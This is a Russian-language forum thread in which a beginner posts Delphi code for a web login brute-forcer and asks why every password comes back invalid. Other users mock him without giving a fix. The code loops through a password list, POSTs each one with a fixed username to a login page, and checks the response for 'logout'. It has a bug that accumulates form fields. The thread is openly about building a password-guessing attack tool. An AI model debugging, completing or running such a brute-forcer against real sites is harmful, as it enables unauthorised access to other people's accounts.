[Программа] О валидности

[mangojkee1]

Помогите плз , вот попробовал написать что то похожее на брут , но он все пароли считает не валидными , в чем и состоит мой вопрос , помогите найти ошибку , буду благодарен!

unit Unit1;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
  IdTCPClient, IdHTTP;

type
  TForm1 = class(TForm)
    Button1: TButton;
    Memo1: TMemo;
    IdHTTP1: TIdHTTP;
    Memo2: TMemo;
    procedure Button1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;

implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
  Var
i:integer;
info:TStringlist;
p:Tstringlist;
begin
info:=Tstringlist.Create;
p:=tstringlist.Create;
for i:=0 to Memo1.Lines.Count-1 do
 begin
  info.Add('username=name');
  info.add('password='+memo1.lines.strings[i]);
  p.Text:=idhttp1.Post('http://3amenenol/index.php', info);
  if pos('logout',p.Text)>0 then
  begin
  memo2.lines.add(memo1.lines.strings[i]+'valid');
  end
  else
  begin
  memo2.Lines.add(memo1.lines.strings[i]+'invalid');
  end;
 end;
end;
end.

[R.A.Z.O.R.]

Цитата: Сообщение от mangojkee1 info.Add('username=name'); info.add('password='+memo1.lines.strings[i]);

LOL
А чарликом кто научил пользоваться?

[<=SlAvA-96=>]

Цитата: Сообщение от mangojkee1 unit Unit1; interface uses Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection, IdTCPClient, IdHTTP; type TForm1 = class(TForm) Button1: TButton; Memo1: TMemo; IdHTTP1: TIdHTTP; Memo2: TMemo; procedure Button1Click(Sender: TObject); private { Private declarations } public { Public declarations } end; var Form1: TForm1; implementation {$R *.dfm} procedure TForm1.Button1Click(Sender: TObject); Var i:integer; info:TStringlist; p:Tstringlist; begin info:=Tstringlist.Create; p:=tstringlist.Create; for i:=0 to Memo1.Lines.Count-1 do begin info.Add('username=name'); info.add('password='+memo1.lines.strings[i]); p.Text:=idhttp1.Post('http://3amenenol/index.php', info); if pos('logout',p.Text)>0 then begin memo2.lines.add(memo1.lines.strings[i]+'valid'); end else begin memo2.Lines.add(memo1.lines.strings[i]+'invalid'); end; end; end; end.

Дааааа... Точно про делал.

[mangojkee1]

Цитата: Сообщение от R.A.Z.O.R. LOL А чарликом кто научил пользоваться?

Я ток начинаю, делал по уроку через HttpAnalyzer